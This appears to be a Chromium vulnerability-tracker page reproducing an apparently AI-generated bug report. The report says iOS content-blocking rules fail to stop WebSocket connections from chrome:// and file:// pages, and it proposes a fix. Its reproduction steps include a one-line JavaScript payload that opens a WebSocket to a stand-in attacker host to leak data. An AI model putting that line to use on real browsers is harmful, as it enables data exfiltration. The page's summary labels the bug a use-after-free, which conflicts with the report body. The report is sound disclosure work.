Medium chrome UAF 📄 Reporter bug report

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Embargoed
Fix Status
ImpactUse after free in iOSWeb
DescriptionUse after free in iOSWeb
ComponentChromium
Sub-componentMobile>iOSWeb
Bug ClassUAF
Tracker521978171
CISA KEVNot listed
CreditedGoogle
Disclosed2026-10-20

Fix not yet public

No public source fix for this bug has been identified on the main branch yet — it is embargoed or not yet disclosed. Root-cause analysis is withheld until the fix commit is available.

Original Bug Report

reported by [email protected]

WKContentRuleList fails to block WebSockets from privileged pages on iOS

Flapjack, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: The CreateLocalBlockingJsonRuleList function on iOS uses an incomplete regex and resource-type list that fails to capture WebSocket connections (ws:// and wss://). Because CSP is currently disabled for WebUI on iOS, this allows an attacker with code execution in privileged contexts like chrome:// and file:// to open WebSockets to external servers, bypassing intended network isolation.

Affected files:

  • ios/web/web_state/ui/wk_content_rule_list_util.mm

Estimated timestamp from git blame: 2021-01-27

Overview

The CreateLocalBlockingJsonRuleList function in ios/web/web_state/ui/wk_content_rule_list_util.mm is responsible for generating a WebKit Content Rule List (WKContentRuleList) that prevents privileged pages (such as chrome:// WebUI and local file:// pages) from making external network requests. This is a critical defense-in-depth measure, particularly because Content Security Policy (CSP) headers are currently disabled for WebUI requests on iOS (job->set_add_content_security_policy(false) in ios/web/webui/url_data_manager_ios_backend.mm).

However, the current implementation of this block list fails to include WebSockets. Specifically:

  1. The url-filter regex ^https?://.* (line 25) only matches HTTP and HTTPS schemes, failing to match ws:// and wss:// schemes.
  2. The resource-type array (lines 31-32) does not include the websocket type. WebKit content blockers have supported the websocket resource type since iOS 14.5.

Potential Impact

If an attacker achieves arbitrary JavaScript execution within a privileged context—for example, via an XSS vulnerability in a chrome:// page or by convincing a user to open a malicious local HTML file—they can bypass the intended network isolation. While standard fetch or XMLHttpRequest requests are blocked by the rule list (and often restricted by SOP), the attacker can successfully establish a WebSocket connection to an external, attacker-controlled server to exfiltrate sensitive data or receive further payloads.

Potential Steps to Reproduce

(Note: These are theoretical steps based on source code analysis. Our tooling agent does not yet have the ability to run code.)

  1. An attacker discovers an XSS vulnerability in an iOS WebUI page (e.g., chrome://version).
  2. The attacker executes a payload containing: let ws = new WebSocket('wss://attacker.com/leak?data=' + sensitiveData);
  3. The underlying WKWebView evaluates the outbound request against the active WKContentRuleList.
  4. Because the top-level URL matches the if-top-url rule (^chrome://.*), the rule’s conditions are evaluated.
  5. The request fails to match both the url-filter (^https?://.*) and the resource-type (which lacks websocket).
  6. The block action is bypassed.
  7. Because there is no CSP connect-src directive enforced by url_data_manager_ios_backend.mm, the WebSocket connection succeeds, and data is exfiltrated.

Suggested Fix

Update CreateLocalBlockingJsonRuleList in ios/web/web_state/ui/wk_content_rule_list_util.mm to include WebSockets in the blocking rule:

  1. Modify the url-filter to match both HTTP(S) and WS(S) schemes: "^(https?|wss?)://.*"
  2. Add "websocket" to the resource-type array.
  NSDictionary* local_block = @{
    @"trigger" : @{
      @"url-filter" : @"^(https?|wss?)://.*",
      @"if-top-url" : local_schemes_urls,
      @"resource-type" : @[
        // These should be all resource types except document.
        // "document" cannot be blocked because it breaks error pages displayed
        // when a WebStatePolicyDecider blocks a navigation.
        @"image", @"style-sheet", @"script", @"font", @"raw", @"svg-document",
        @"media", @"popup", @"ping", @"websocket"
      ],
    },
    @"action" : @{
      @"type" : @"block",
    },
  };

Evaluated with Chrome root at commit: 2155cb00003ec35716a76ed3246eae995f87b7ff


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker